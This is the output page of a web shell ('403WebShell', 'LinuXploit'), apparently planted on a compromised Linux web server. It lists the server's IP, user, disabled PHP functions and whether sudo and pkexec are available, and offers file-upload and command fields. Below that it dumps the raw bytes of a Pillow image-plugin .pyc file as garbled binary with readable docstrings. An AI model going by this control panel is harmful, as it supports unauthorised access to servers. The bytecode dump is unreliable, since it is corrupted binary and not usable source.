Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/PIL/__pycache__/BlpImagePlugin.cpython-310.pyc
o

Z#�a�8�@s�dZddlZddlmZddlmZmZdZdZdZ	dZ
dZdZdZ
d	d
�Zd!dd
�Zdd�Zdd�ZGdd�de�ZGdd�dej�ZGdd�dej�ZGdd�de�ZGdd�de�Zdd�Ze�ejee�e�ejd�e�de�e�d e�dS)"a�
Blizzard Mipmap Format (.blp)
Jerome Leclanche <jerome@leclan.ch>

The contents of this file are hereby released in the public domain (CC0)
Full text of the CC0 license:
  https://creativecommons.org/publicdomain/zero/1.0/

BLP1 files, used mostly in Warcraft III, are not fully supported.
All types of BLP2 files used in World of Warcraft are supported.

The BLP file structure consists of a header, up to 16 mipmaps of the
texture

Texture sizes must be powers of two, though the two dimensions do
not have to be equal; 512x256 is valid, but 512x200 is not.
The first mipmap (mipmap #0) is the full size image; each subsequent
mipmap halves both dimensions. The final mipmap should be 1x1.

BLP files come in many different flavours:
* JPEG-compressed (type == 0) - only supported for BLP1.
* RAW images (type == 1, encoding == 1). Each mipmap is stored as an
  array of 8-bit values, one per pixel, left to right, top to bottom.
  Each value is an index to the palette.
* DXT-compressed (type == 1, encoding == 2):
- DXT1 compression is used if alpha_encoding == 0.
  - An additional alpha bit is used if alpha_depth == 1.
  - DXT3 compression is used if alpha_encoding == 1.
  - DXT5 compression is used if alpha_encoding == 7.
�N)�BytesIO�)�Image�	ImageFile���cCs*|d?d@d>|d?d@d>|d@d>fS)N��r��?r�)�ir
r
�4/usr/lib/python3/dist-packages/PIL/BlpImagePlugin.py�
unpack_5650s*rFc	Cs�t|�d}t�t�t�t�f}t|�D]�}|d}t�d||�\}}}t|�\}	}
}t|�\}}
}td�D]�}td�D]�}|d@}|d?}d}|dkrU|	|
|}}}nh|dkrb||
|}}}n[|dkr�||kr�d|	|d}d|
|
d}d||d}n:|	|d}|
|
d}||d}n'|dkr�||kr�d||	d}d|
|
d}d||d}nd	\}}}}|r�||�||||g�q<||�|||g�q<q6q|S)
�E
    input: one "row" of data (i.e. will produce 4*width pixels)
    �z<HHI�rr�rr)rrrr��len�	bytearray�range�struct�unpack_fromr�extend)�data�alpha�blocks�ret�block�idx�color0�color1�bits�r0�g0�b0�r1�g1�b1�jr�control�a�r�g�br
r
r�decode_dxt14sH��"r1c	Cs�t|�d}t�t�t�t�f}t|�D]�}|d}|||d�}t�d|�}t�d|d�\}}t�d|d�\}t|�\}	}
}t|�\}}
}td�D]�}d}td�D]�}d||d	}||}|rjd}|dL}nd
}|dM}|d9}|d	d||?d
@}|dkr�|	|
|}}}nF|dkr�||
|}}}n9|d	kr�d	|	|d
}d	|
|
d
}d	||d
}n|d
kr�d	||	d
}d	|
|
d
}d	||d
}||�||||g�qSqKq|S)r�z<8B�<HHr�<I�rFrT��rrrr)rrrr r!r$r"r#�coder%r&r'r(r)r*r+�highr�alphacode_indexr-�
color_coder.r/r0r
r
r�decode_dxt3ksL
��r<c	Cs�t|�d}t�t�t�t�f}t|�D�]>}|d}|||d�}t�d|�\}}t�d|d�}|d|dd>B|dd>B|dd	>B}|d
|dd>B}	t�d|d�\}
}t�d
|d�\}t|
�\}
}}t|�\}}}td�D]�}td�D]�}dd||}|dkr�|	|?d@}n|dkr�|	d?|d>d@B}n||d?d@}|d
kr�|}n6|dkr�|}n/||kr�d|||d|d}n|dkr�d
}n|dkr�d}nd|||d|d}|dd||?d@}|d
kr�|
||}}}nI|dk�r|||}}}n;|dk�r)d|
|d}d||d}d||d}n|dk�rFd||
d}d||d}d||d}||�||||g�q{quq|S)zG
    input: one "row" of data (i.e. will produce 4 * width pixels)
    r2z<BBz<6Brrrrr�rrr3r4r5rr6�rr)rrrr r!�a0�a1r$�
alphacode1�
alphacode2r"r#r8r%r&r'r(r)r*r+rr:�	alphacoder-r;r.r/r0r
r
r�decode_dxt5�sb,


��*rDc@seZdZdS)�BLPFormatErrorN)�__name__�
__module__�__qualname__r
r
r
rrE�srEc@s(eZdZdZdZdZdd�Zdd�ZdS)	�BlpImageFilez 
    Blizzard Mipmap Format
    �BLPzBlizzard Mipmap FormatcCs�|j�d�|_|��|jdkrd}d|_n|jdkr&d}|jr"dnd|_n
tdt|j�����|d	|jd
|jd
dffg|_	dS)Nr�BLP1�BLP1�RGB�BLP2�BLP2�RGBAzBad BLP magic �rrrr)
�fp�read�magic�_read_blp_header�mode�_blp_alpha_depthrE�repr�size�tile)�self�decoderr
r
r�_open�s

"zBlpImageFile._opencCs�t�d|j�d��\|_t�d|j�d��\|_t�d|j�d��\|_t�d|j�d��\|_t�d|j�d��\|_t�d|j�d��|_	|j
dkrdt�d|j�d��\|_t�d|j�d��\|_t�d|j�d	��|_t�d|j�d	��|_
dS�
Nz<irz<brz<IIrrKz<16I�@)r�unpackrRrS�_blp_compression�
_blp_encodingrW�_blp_alpha_encoding�	_blp_mips�_sizerT�_blp_subtype�_blp_offsets�_blp_lengths�r[r
r
rrUs
zBlpImageFile._read_blp_headerN)rFrGrH�__doc__�format�format_descriptionr]rUr
r
r
rrI�srIc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�_BLPBaseDecoderTc
CsVz|j�d�|j�d�|_|��|��WdStjy*}ztd�|�d}~ww)NrrzTruncated Blp filerQ)	�fd�seekrSrTrU�_loadr�error�OSError)r[�buffer�er
r
r�decodes
�
��z_BLPBaseDecoder.decodecCst�|j|�S)N)r�
_safe_readrn)r[�lengthr
r
rrv!sz_BLPBaseDecoder._safe_readc	Cs`g}td�D]'}zt�d|�d��\}}}}Wntjy#Y|Sw|�||||f�q|S)N�z<4Br)rrr`rvrq�append)r[rrr0r/r.r-r
r
r�
_read_palette$s�z_BLPBaseDecoder._read_palettecCs�t�d|�d��\|_t�d|�d��\|_t�d|�d��\|_t�d|�d��\|_t�d|�d��\|_t�d|�d��|_|j	dkr\t�d|�d��\|_t�d|�d��\|_
t�d|�d	��|_t�d|�d	��|_dSr^)
rr`rvrarbrWrcrdrYrTrfrgrhrir
r
rrU.s
z _BLPBaseDecoder._read_blp_headerN)rFrGrH�	_pulls_fdrurvrzrUr
r
r
rrms

rmc@seZdZdd�Zdd�ZdS)�BLP1Decoderc	Cs�|jtkr|��dS|jdkrb|jdvrXt�}|��}t|�|jd��}	zt	�
d|�d��\}Wn
t	jy=Ynw||\}}}}|�
|||g�q'|�t|��dStdt|j�����tdt|j�����)Nr)rrrT�<BzUnsupported BLP encoding zUnsupported BLP compression )ra�BLP_FORMAT_JPEG�_decode_jpeg_streamrbrrzrrvrhrr`rSrqr�
set_as_raw�bytesrErX)	r[r�palette�_data�offsetr0r/r.r-r
r
rrpBs.


����zBLP1Decoder._loadcCs�ddlm}t�d|�d��\}|�|�}|�|jd|j���|�|jd�}||}t	|�}||�}t
�|j�|j
|_
|j|_|j|_dS)Nr)�
JpegImageFiler4r)�PIL.JpegImagePluginr�rr`rvrgrn�tellrhrr�_decompression_bomb_checkrYrZrRrV)r[r��jpeg_header_size�jpeg_headerr�imager
r
rr]s
zBLP1Decoder._decode_jpeg_streamN)rFrGrHrprr
r
r
rr|Asr|c@seZdZdd�ZdS)�BLP2DecodercCs|��}t�}|j�|jd�|jdkr�|jtkrNt|�	|j
d��}	zt�d|�
d��\}Wn
tjy;Ynw||\}}}}|�|||f�q%n�|jtkr�|jtkr�|jdddd}	t|jddd�D]}
t|�	|	�t|j�d�D]}||7}q|qnnx|jtkr�|jdddd	}	t|jddd�D]}
t|�	|	��D]}||7}q�q�nK|jtkr�|jdddd	}	t|jddd�D]}
t|�	|	��D]}||7}q�q�ntd
t|j�����tdt|j�����tdt|j�����|�t|��dS)
NrrTr}rrr)rr2zUnsupported alpha encoding zUnknown BLP encoding zUnknown BLP compression ) rzrrnrorgrarb�BLP_ENCODING_UNCOMPRESSEDrrvrhrr`rSrqr�BLP_ENCODING_DXTrc�BLP_ALPHA_ENCODING_DXT1rYrr1�boolrW�BLP_ALPHA_ENCODING_DXT3r<�BLP_ALPHA_ENCODING_DXT5rDrErXr�r�)r[r�rr�r�r0r/r.r-�linesize�yb�dr
r
rrpns`

��


�
��

��

����zBLP2Decoder._loadN)rFrGrHrpr
r
r
rr�msr�cCs|dd�dvS)Nr)rKrNr
)�prefixr
r
r�_accept�sr�z.blprLrO)F)rjr�ior�rrr~r�r��"BLP_ENCODING_UNCOMPRESSED_RAW_BGRAr�r�r�rr1r<rD�NotImplementedErrorrErI�	PyDecoderrmr|r�r��
register_openrk�register_extension�register_decoderr
r
r
r�<module>s2
75F*-,7

Youez - 2016 - github.com/yon3zu
LinuXploit